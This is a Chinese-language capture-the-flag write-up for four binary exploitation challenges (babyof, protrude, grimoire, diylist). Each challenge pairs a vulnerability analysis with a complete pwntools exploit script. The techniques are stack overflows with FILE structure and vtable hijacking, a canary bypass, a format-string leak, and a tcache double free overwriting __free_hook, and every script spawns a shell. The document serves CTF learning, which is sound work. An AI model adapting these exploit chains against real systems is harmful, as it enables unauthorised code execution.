babyof
分析
很容易发现程序中存在的漏洞,栈溢出,但是程序调用的外部函数仅有read,setbuf,exit
这三个函数。此时如果想要泄露libc
基址的话就需要覆写stdout
结构体中的IO_write_ptr
指针的低位为\x00
即可,但是当我们更改指针低字节之后还是没有办法输出,因为函数没有任何的输出函数,因此就不会刷新stdout
。
这里我们就需要强制缓冲区刷新,即调用_IO_OVERFLOW
,这里存在一个exit
函数,因此我们可以直接exit
,函数会调用_IO_cleanup_all
,刷新每一个文件结构体,这是我们就可以泄露出libc
的基址,但是泄露地址之后程序就退出了,因此我们还需要修改vtable
表中的__overflow
指针为main
函数地址,以继续执行程序,再次利用溢出修改返回地址getshell
。
但是如果我们修改的是stdout
的vtable
的__overflow
指针的话,我们的libc
就无法泄露,注意到_IO_list_all
的连接顺序为stderr,stdout_stdin
,因此我们可以修改stderr
的_IO_write_ptr
的低字节和stdout
的vtable
。在exit
函数执行刷新文件结构体的时候就会首先泄露libc
基址,接着就会重新返回main
函数执行,再次利用溢出布置rop chain
,即可getshell
。
利用
首先看一下程序在main
函数结束的时候的寄存器状态
由于调用read
函数之后立即返回,其寄存器中的参数还没有被覆写,因此只需要修改rsi
即可。那么我们如何在没有libc
地址的情况下修改stderr
的结构呢,stderr
的地址存储在.bss
段中
我们可以将stderr-0x8
的地方覆写为p_rsi_r
,stderr+0x8
的地方写入接下来的read.plt+rop chain
,然后将栈迁移到stderr-0x10
的位置,此时就可以将stderr
的真实地址写到rsi
寄存器中,随后进行read
即可修改stderr
结构体中的相关数据。
在修改stdout
结构体的时候需要覆写stdout
指针的低字节,使得在覆写vtable
的地址的时候绕过libc
地址,之后再对stdout
地址进行复原,使得在输出的时候可以正常运行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| from pwn import *
file_path = "./chall" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('', 0) libc = ELF('') one_gadget = 0x0
p_rdi_r = 0x000000000040049c p_rsi_r = 0x000000000040049e p_rbp_r = 0x000000000040047c leave_r = 0x0000000000400499 ret = 0x000000000040047d p_r15_r = 0x000000000040049b stderr_address = elf.sym['stderr'] stdin_address = elf.sym['stdin'] stdout_address = elf.sym['stdout']
read_address = elf.plt['read'] exit_address = elf.plt['exit'] main_address = elf.sym['main']
fake_vtable_address = elf.bss()+0xf00
payload = b"a"*0x28 payload += flat([ p_rsi_r, stderr_address - 0x8, read_address, p_rsi_r, stderr_address + 0x8, read_address, p_rbp_r, stderr_address - 0x10, leave_r ]) p.send(payload) raw_input() p.send(p64(p_rsi_r)) raw_input()
payload = flat([ read_address, p_rsi_r, stdout_address - 0x8, read_address, p_rsi_r, stdin_address - 0x8, read_address, p_rsi_r, stderr_address - 0x8, read_address, p_rsi_r, stdout_address + 0x8, read_address, p_rbp_r, stdout_address - 0x10, leave_r ])
p.send(payload) raw_input()
fake_io = p64(0xfbad1800) + p64(0)*3 + b"\x88" p.send(fake_io) raw_input()
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'] + 0x70)[:1]) raw_input() p.send(p64(p_r15_r)) raw_input() p.send(p64(p_r15_r)) raw_input()
p.send(payload) raw_input()
payload = p64(2) + p64(0xffffffffffffffff) payload += p64(0)*2 + p64(0xffffffffffffffff) payload += p64(0)*8 + p64(fake_vtable_address) p.send(payload)
p.send(p64(p_rsi_r) + p64(libc.sym['_IO_2_1_stdout_'])[:1]) raw_input() p.send(p64(p_r15_r)) raw_input() p.send(p64(p_r15_r)) raw_input()
payload = flat([ read_address, p_rsi_r, elf.bss()+0x808, read_address, p_rbp_r, elf.bss()+0x800, leave_r ])
p.send(payload) raw_input() p.send(fake_io) raw_input() payload = flat([ p_rsi_r, fake_vtable_address, read_address, exit_address ])
p.send(payload) raw_input() fake_vtable = p64(0)*3 + p64(main_address) p.send(fake_vtable) raw_input()
libc.address = u64(p.recv()[0x20:0x28]) - libc.sym['_IO_2_1_stdout_'] log.success("libc address {}".format(hex(libc.address)))
payload = b"a"*0x28 payload += flat([ p_rdi_r, libc.search(b"/bin/sh\x00").__next__(), libc.sym['system'] ]) p.send(payload) p.interactive()
|
protrude
在内存中long
存储的是8
字节,但是程序中只是按照4
字节去分配的,因此存在缓冲区溢出。但是程序存在canary
保护,我们可以通过覆写i
的值来绕过canary
。每次溢出都需要覆写返回地址指向calc_num
函数以持续获得控制流。因此选择n=22
,输入14
个数字之后到达i
的存储位置。
通过覆写i
的值绕过canary
的栈值,直接覆写返回地址,那么第一次输出的SUM
的值由如下构成
1
| calc_address + rbp + rbp-0xb0 + canary + 0x16*2
|
我们可以将返回地址改写为calc_num+0x9
的值,以重复使用之前的栈帧,同样通过覆写i
的值绕过canary
的值,第二次输出的SUM
的值如下,此处的buf
是一个任意值用来覆写rbp
中存储的值。
1
| calc_address + rbp - 0x70 + canary + buf + 0x16*2
|
通过两次输出只差可以计算出rbp
的值。
在第三次溢出覆写的时候我们将rbp
覆写为栈中的一个地址,改地址处存储一个bss
的地址,用于之后的栈迁移,并在栈中布置一段rop chain
,功能是向bss
中读取新的rop chain
。返回地址覆写为leave_ret
,此时程序返回时就会跳转到栈中的地址处执行rop
,读取新的rop chain
进入bss
中,并迁移栈到bss
。
新的rop chain
的功能是泄露libc
基址,并读取调用system("/bin/sh")
的rop
。最终getshell
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104
| from pwn import *
file_path = "./chall" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b *0x400999") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('', 0) libc = ELF('') one_gadget = 0x0
calc_num_address = 0x40088e buf = 0x601b00
n = 22 p.sendlineafter("n = ", str(n)) for i in range(14): p.sendlineafter("num[{}] = ".format(str(i+1)), "0")
p.sendlineafter(" = ", "20") p.sendlineafter(" = ", str(0x400897)) p.recvuntil("SUM = ")
sum = int(p.recvline().strip(b"\n")) sum -= 0x400897 sum -= 0x16*2
for i in range(8): p.sendlineafter(" = ".format(str(i+1)), "0")
p.sendlineafter(" = ", "11") for i in range(2): p.sendlineafter(" = ", "0") p.sendlineafter(" = ", str(buf)) p.sendlineafter(" = ", str(calc_num_address)) for i in range(6): p.sendlineafter(" = ", "0") p.recvuntil("SUM = ")
sum2 = int(p.recvline().strip()) sum2 -= buf sum2 -= calc_num_address sum2 -= 0x16*2 sum2 -= 0x40
stack_address = sum - sum2 - 0xc log.success("stack address {}".format(hex(stack_address)))
p_rdi_r = 0x0000000000400a83 p_rsi_r15_r = 0x0000000000400a81 leave_r = 0x0000000000400849
puts_plt = elf.plt['puts'] read_plt = elf.plt['read'] puts_got = elf.got['puts']
p.sendlineafter(" = ", str(buf)) p.sendlineafter(" = ", str(p_rdi_r)) p.sendlineafter(" = ", str(0)) p.sendlineafter(" = ", str(p_rsi_r15_r)) p.sendlineafter(" = ", str(buf)) p.sendlineafter(" = ", str(0)) p.sendlineafter(" = ", str(read_plt)) p.sendlineafter(" = ", str(leave_r)) for i in range(5): p.sendlineafter(" = ", "0") p.sendlineafter(" = ", "18") p.sendlineafter(" = ", str(stack_address - 0xa0 + 0x10)) p.sendlineafter(" = ", str(leave_r)) p.sendlineafter(" = ", "0") p.recv() payload = flat([ 0xdeadbeef, p_rdi_r, puts_got, p_rsi_r15_r, 1, 0, puts_plt, p_rdi_r, 0, p_rsi_r15_r, buf, 0, read_plt ]) p.sendline(payload) libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['puts'] log.success("libc address {}".format(hex(libc.address)))
payload = b"a"*0x68 payload += flat([ p_rdi_r, libc.search(b"/bin/sh\x00").__next__(), p_rsi_r15_r, 0, 0, libc.sym['system'] ]) p.sendline(payload)
p.interactive()
|
grimoire
程序提供了四种操作file_open,read,edit,close
。默认打开的文件是grimoire.txt
,只有先open,read
之后才可以进行edit
。在main
函数中打开file
错误时调用error
函数中存在一个格式化字符串漏洞
但是需要先控制s
的值也就是filepath
的值,这里发现在edit
函数中还存在一个溢出漏洞,函数根据用户输入的offset
在bbs text
处读取最大0x200
字节大小的数据,但是text
只有0x260
字节大小,因此存在溢出,注意到与text
紧跟的是fd,init,filepath
存储,因此我们可以通过溢出修改filepath
的值。
此外在read
函数中也存在一个栈溢出漏洞
ftell
在处理某些特殊文件的时候可能会返回-1
,而content_length
却是unsigned
类型,因此这里的fread
会读取一个较长的字符串,从而造成缓冲区溢出。
利用
覆写filepath
为格式化字符串,在open
时就会调用error
函数,进而泄露libc
基址和canary
。但是这样的话只能够利用一次格式化字符串地址,因为此时的filepath
已经发生改变,无法打开文件,也就无法通过溢出修改filepath
。因此我们在进行泄露的时候将filepath
改为正常的文件.
即可,这样打开文件成功之后我们可以继续覆写filepath
。
在泄露libc
基址和canary
之后就可以利用栈溢出来构造rop
链了。但是读入数据是个问题,并不能直接将fp
改为0
,但是这里可以利用一种曲线的方法就是将filepath
设置为/dev/stdin
或者/proc/self/fd/0
,并调用read
函数,在打开上述文件时ftell
会返回-1
,因此在之后的fread
时,可以输入数据进行栈溢出构造rop chain
。
需要注意的是最后调试的时候需要开ASLR
,不然会导致程序初始栈地址太高,fread
无法读取的情况,错误代码0xe
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| from pwn import *
file_path = "./chall" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b *$rebase(0x1499)") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('127.0.0.1', 8888) libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
def file_open(): p.sendlineafter("> ", "1")
def file_read(): p.sendlineafter("> ", "2")
def file_edit(offset, content): p.sendlineafter("> ", "3") p.sendlineafter("Offset: ", str(offset)) p.sendafter("Text: ", content)
def file_close(): p.sendlineafter("> ", "4")
payload = p64(0) + p64(0) payload += b"a"*0x10 + b"%10$p-%22$p-" payload += "%{}c%6$hn".format(ord('.') - 0x22).encode()
file_open() file_read() file_edit(0x200, payload) file_open()
canary = int(p.recvuntil("-", drop=True), 16) libc.address = int(p.recvuntil("-", drop=True), 16) - 231 - libc.sym['__libc_start_main'] log.success("canary {}".format(hex(canary))) log.success("libc address {}".format(hex(libc.address)))
payload = p64(0) + p64(0) payload += b"a"*0x10 payload += b"/proc/self/fd/0\x00".ljust(0x30, b"\x00")
file_open() file_read() file_edit(0x200, payload)
p_rdi_r = 0x000000000002155f + libc.address p_rsi_r = 0x0000000000023e8a + libc.address p_rdx_r = 0x0000000000001b96 + libc.address p_rax_r = 0x0000000000043a78 + libc.address syscall = 0x00000000000d29d5 + libc.address
payload = b"a"*0x200 payload += p64(0) + p64(canary) + p64(0) payload += flat([ p_rdi_r, libc.search(b"/bin/sh\x00").__next__(), p_rsi_r, 0, p_rdx_r, 0, p_rax_r, 59, syscall ]) payload = payload.ljust(0x4000, b"\x00") file_open() file_read() p.sendline(payload) p.recvuntil("-*") p.recvline()
p.interactive()
|
diylist
程序提供了一种list
的实现,具体的add,show,edit,delete
函数则在自己编写的.so
文件中,可以提供int,float,string
三种类型的数据处理。在add,delete
函数处理时传入参数的数据类型。
这里就存在数据类型混淆,我们可以利用int,string
的数据类型混淆泄露libc
基址和heap
地址,并且注意到在delete
函数实现过程中,全局数组中的指针没有清空,在利用int
改写list
中的某个元素为heap
地址时,可以造成DoubleFree
。
2.27
中可以直接对tcache Double Free
,改写free_hook
即可getshell
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| from pwn import *
file_path = "./chall" context.arch = "amd64" context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] elf = ELF(file_path) debug = 1 if debug: p = process([file_path]) gdb.attach(p, "b *0x400F84") libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') one_gadget = 0x0
else: p = remote('', 0) libc = ELF('') one_gadget = 0x0
def add(type, content): p.sendlineafter("> ", "1") p.sendlineafter("): ", str(type)) if type == 3: p.sendlineafter("Data: ", content) else: p.sendlineafter("Data: ", str(content))
def show(index, type): p.sendlineafter("> ", "2") p.sendlineafter("Index: ", str(index)) p.sendlineafter("): ", str(type))
def edit(index, type, content): p.sendlineafter("> ", "3") p.sendlineafter("Index: ", str(index)) p.sendlineafter("): ", str(type)) p.sendlineafter("Data: ", str(content))
def delete(index): p.sendlineafter("> ", "4") p.sendlineafter("Index: ", str(index))
add(1, elf.got['read']) add(3, "1"*8) show(0, 3) p.recvuntil("Data: ") libc.address = u64(p.recvline().strip(b"\n").ljust(8, b"\x00")) - libc.sym['read'] log.success("libc address {}".format(hex(libc.address)))
show(1, 1) p.recvuntil("Data: ") heap_address = int(p.recvline().strip(b"\n")) log.success("heap address {}".format(hex(heap_address)))
add(3, "/bin/sh\x00") edit(0, 1, str(heap_address)) delete(1) delete(0)
add(3, p64(libc.sym['__free_hook'])) add(3, "a"*8) add(3, p64(libc.sym['system']))
delete(0) p.interactive()
|